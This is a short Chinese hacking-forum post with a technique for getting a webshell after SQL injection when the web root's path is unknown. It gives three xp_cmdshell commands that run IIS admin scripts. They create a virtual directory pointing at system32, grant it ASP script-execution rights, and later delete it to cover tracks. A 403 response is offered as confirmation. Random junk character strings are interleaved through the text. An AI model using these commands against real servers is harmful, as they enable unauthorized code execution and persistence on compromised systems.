
- 帖子
- 120
- 积分
- 470
- 威望
- 636
- 金钱
- 101
- 在线时间
- 31 小时
   
|
很多情况下我们都会遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,应该算是无意中发现了一招,感觉不错 整理下发上来给大家分享:. K( s- D! a0 b' C, f
: R) K1 E! T- g/ r1 B
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'
$ a7 [6 P9 o5 e1 G建立虚拟目录win,指向c:\windows\system32
/ A" q4 p6 L& \! i0 e) d4 Gexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
5 d2 x3 T( ]# } S让win句有解析asp脚本权限
& o3 O- d8 F# U8 `5 V8 q( m3 Z1 ~5 J, M" s K1 j
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"* w5 a1 Q& C/ r) j9 {- r" C
删除虚拟目录。
" _" T2 x1 `) T7 e找不到web绝对路径的一种解决办法,) @4 F& y! ^5 T. m* L+ v% j
6 f8 ]3 T, L% M: R. _% L9 R+ v+ M
403错误,表示虚拟目录建好了。。 |
-
1
评分人数
-
|